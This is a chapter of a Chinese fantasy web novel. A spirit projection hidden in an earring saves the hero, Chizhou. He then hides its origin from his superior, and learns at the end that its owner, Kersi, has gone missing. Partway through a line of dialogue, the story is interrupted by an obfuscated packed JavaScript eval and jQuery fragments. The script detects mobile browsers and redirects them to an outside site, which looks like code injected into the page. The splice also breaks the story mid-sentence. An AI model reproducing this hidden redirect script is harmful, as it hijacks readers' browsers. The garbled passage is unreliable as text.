不是迟昼熟悉的气息,是一种凝练到极致、足以碾压锻体期的恐怖力量。
一道半透明的身影,从耳环中缓缓凝聚。
乌黑的长发,清冷的眉眼,还有那身最熟悉的黄色长裙——
是克尔斯。
迟昼的心脏几近骤停,他下意识伸手摸到克尔斯给的耳环,本来冰冷的宝石材质此刻在微微发热。
他重新看向那精神分身,是克尔斯的样子没错。
可那股气息,那股气场,那股站在那里就让虚空噬地兽浑身发抖、不敢动弹的压迫感……
绝不是他认识的那个克尔斯!
克尔斯应该是连低阶巅峰的兽都要费力应对,更别说面对这种能毁城的锻体期。
可眼前这缕精神体只是平静地站在那里就让沈惊寒脸色剧变。
虚空噬地兽发出恐惧到极致的颤鸣,原本致命的触手僵在半空,连逃跑的勇气都没有。
克尔斯没有看迟昼,没有看沈惊寒,甚至没有看那根致命触手。
她只是微微抬起一根手指,然后轻飘飘一点。下一秒——
一道细如发丝的淡金色精神光丝在她指尖出现。
没有惊天动地的轰鸣,没有刺眼的光芒。光丝穿过虚空,瞬间抵达虚空噬地兽眉心。
一声闷响在兽体内炸开。
锻体期虚空噬地兽庞大如山的躯体在这一刻直接从内部崩解、蒸发、净化。
一切的一切都在这缕光丝面前如同冰雪遇骄阳,瞬间消融殆尽。
刚才还让沈惊寒全力以赴、让迟昼绝望的锻体兽,被原地秒杀。
连挣扎都做不到。
整个地下管网瞬间恢复死寂。
迟昼僵在原地,大脑一片空白,浑身剧烈颤抖,震惊到无法呼吸。
他死死盯着那道精神体,眼神里全是不敢置信。
这不是克尔斯。
至少,不是他记忆里那个实力普通的克尔斯。
这缕精神体爆发的战力远超克尔斯本体十倍、百倍、千倍。强到让沈惊寒忌惮,强到秒杀锻体期如碾死一只蝼蚁。
迟昼浑身发麻,心底掀起滔天巨浪。
克尔斯。
他想起分开驻守前,她把这枚耳环放进他手心,说:“因为左耳更靠近心脏。”
他一直以为那只是一枚普通的饰品。
他从未想过这枚不起眼的耳环里竟然藏着如此颠覆认知的力量。
沈惊寒缓缓将长刀归鞘,一向冷硬淡漠的脸上第一次出现如此明显的震动。
他当然见过总部的顶尖战力秒杀锻体期,这不是等级差距,是维度上的碾压。
克尔斯指尖那缕细如发丝的光丝缓缓收回,周身恐怖的威压也如同潮水般褪去,只留下一层柔和的微光,轻轻裹住迟昼,抚平他枯竭剧痛的精神力。
迟昼浑身一松,濒临死亡的窒息与恐惧被这股力量一点点安抚下去。
克尔斯的身影开始缓缓变得透明,周身淡金色的微光一点点淡化。
她看着迟昼:“耳环里剩下的能量只能再帮你一次了,离太危险的事远点。”她顿了顿,“等任务结束我们一定会再见的。在那之前,活下去。”
最后一缕微光彻底化作细碎的淡金色光点融入那枚耳环里。
威压散尽,气息全无,仿佛什么都没有发生过。
迟昼僵立在原地,指尖下意识捏住耳环,心脏狂跳。
震惊、后怕、安心、酸涩……无数情绪在胸腔里炸开。但下一秒,一股更强烈的警觉猛地攫住了他,沈惊寒还在。
这位来自总部的掌灯使观察力恐怖且心思缜密,任何异常都逃不过他的眼睛。刚才那一幕太过惊人,一旦沈惊寒追查下去,顺着耳环、顺着精神气息查找到克尔斯的身上——
迟昼绝不允许。
克尔斯已经为他默默留下保命的后手,他不能让她因此卷入危险,不能让她受到半分怀疑。
几乎是本能,他迅速压下所有外露的情绪,将眼底的震撼与熟悉尽数敛去,只留下一片茫然与惊魂未定。
沈惊寒上前一步,目光锐利如刀,直直落在迟昼身上,声音冷沉:“刚才那道精神体,是什么人?”
这是逼问。
迟昼垂在身侧的手悄然攥紧,指尖泛白,心跳快得几乎要冲破胸膛。
他知道,这一瞬的回答至关重要。
他不能露出丝毫破绽,不能让沈惊寒察觉到半分熟悉,更不能说出“克尔斯”三个字。
他深吸一口气,再抬眼时,眼底只剩下劫后余生的茫然与不解,脸色依旧苍白,声音带着尚未平复的颤抖,恰到好处地伪装成惊魂未定的模样。
“我,我不知道。”
迟昼微微摇头,语气干涩,带着真实的后怕,
“我不知道。刚才那一瞬间我已经完全没力气反抗了,意识都快模糊了。”
他刻意顿了顿,带着几分茫然无措:
“只知道突然就出现了一道精神力量。我从来不知道它有这种威力,一直以为只是普通的饰品。”
沈惊寒的目光没有丝毫放松,依旧紧紧盯着他:“那这耳环是谁给你的?”
迟昼心脏一紧,面上却不显,只是低声道:“这是之前在训练营里领的基础防护饰品,时间太久,我都记不清具体细节了。从来没触发过。刚才,应该是濒死之际意外激活了某种隐藏机制吧。”
他每一句话,都在刻意模糊来源,刻意抹去克尔斯的存在。
将一切推给“意外激活”、“基础饰品隐藏功能”、“记不清细节”。
既符合他刚才濒临死亡的状态,又不留任何可供追查的线索。
他不能说,半个字都不能提克尔斯。
沈惊寒沉默地看着他,目光深邃,似乎在判断他话语里的真假。
空气一度凝固得让人窒息。
迟昼保持着茫然又惊魂未定的神情,没有躲闪,没有慌乱,任由他审视。
他知道,越是这个时候,越不能露怯。
良久,沈惊寒才缓缓收回目光,周身冷冽的气息稍稍收敛。
迟昼刚才的状态,确实是油尽灯枯、濒死绝境,精神力枯竭到极致,记忆混乱、记不清细节完全合乎情理。
再加上那道精神体出现得突兀、消失得干净,没有留下任何气息、任何标识、任何指向性痕迹,就像真的只是一件古老饰品在生死关头被意外激活。
“这件事,不要再对第三个人提起。”沈惊寒最终沉声开口,语气带着命令,“耳环也交给我封存,避免再次出现不可控的力量波动。”
迟昼心中一紧,立刻摇头,语气坚定,却又找了个无懈可击的理由:“沈队,不行。这耳环虽然刚才异常,但平时能稳定我的精神力。而且……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214202|197436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
它刚才救了我的命,也救了整个聊城,我想留在身边。”
他语气诚恳,态度坚定,却又不顶撞,完全是一个劫后余生的年轻人的正常反应。
沈惊寒深深看了他一眼,没有再强迫。
“也罢。但从今往后,不准在任何人面前展露,更不能再触发。”
“是。”迟昼立刻应声,垂下眼帘,掩去眼底所有情绪。
成功了。
他瞒住了。
他没有暴露克尔斯的身份,没有给沈惊寒留下任何追查的线索。
他用恰到好处的茫然与不知情将所有的焦点从克尔斯身上移开,将她牢牢护在安全的阴影里。
悬在心口的巨石,终于彻底落地。
沈惊寒不再多问,转身开始扫描四周,确认战场痕迹。
“清理现场,封锁所有波动,不能让地面有任何察觉。”
“明白。”
迟昼深吸一口气,压下所有翻涌的情绪,抬手结印,精神力平稳铺开,将战斗余波、屏障痕迹、阵纹纹路一点点抹去,把所有异常全部掩盖。
管壁裂痕修复,腐蚀气息被驱散,污水恢复平静。
锻体期兽降临的痕迹被两人彻底从这片地下空间抹去。
井盖无声合上。
迟昼和沈惊寒如同两道影子,悄无声息回到地面,回到那间三十平米的出租屋。
窗外,天边已经泛起淡金晨光。
老城区渐渐苏醒,早点铺的香气飘在空中,自行车铃声清脆,行人稀疏却安稳。
人间烟火,温柔滚烫。
迟昼坐在桌前,指尖轻轻摩挲着那枚普通的祖母绿宝石耳环。
平平无奇。
可他知道,里面藏着一份跨越千里的守护。藏着一个他拼尽全力,也要守护住的秘密。
沈惊寒靠在床头闭目养神,开始向总部传递讯息。
出租屋内一片安静。
晨光穿透老旧出租屋的窗棂,落在迟昼微凉的手背上,也落在沈惊寒刚刚读完的加密光屏上。
光屏上的字迹冰冷而刺眼,没有任何多余的修饰,每一个字符都像淬了寒铁,砸在人心头沉甸甸的。
墨城突发高阶兽暴乱,兽潮规模远超预警,城区多处防线崩溃,伤亡持续扩大。墨城掌灯使克尔斯于三时辰前失去所有联络信号,精神印记黯淡,生命体征无法捕捉。总部指令:即刻调派战力驰援墨城,控制局势,寻回克尔斯。
沈惊寒指尖在光屏边缘轻轻一叩,数据流瞬间消散,不留半点痕迹。他抬眼,目光依旧冷硬如刀,只是那双眼底深处,掠过一丝极淡的凝重。
掌灯使失联,不是小事。
“墨城出事了。”沈惊寒开口,声音没有起伏,却带着不容置疑的命令感,“高阶兽潮,当地一名掌灯使失联。总部命我即刻动身,前往墨城协防,查清真相。”
墨城。迟昼的心脏像是被一只手猛地攥住,他压下语气里的颤抖:“谁?”
“克尔斯。”
迟昼坐在木桌前,整个人像是被瞬间钉死在原地。
墨城。
克尔斯。
失联。
三个词在他脑海里疯狂炸开,耳膜嗡嗡作响,眼前的光线都在微微晃动。他垂在桌下的手猛地攥紧,指节泛白,指甲深深嵌进掌心,刺痛感却丝毫压不住胸腔里翻涌而上的恐慌与慌乱。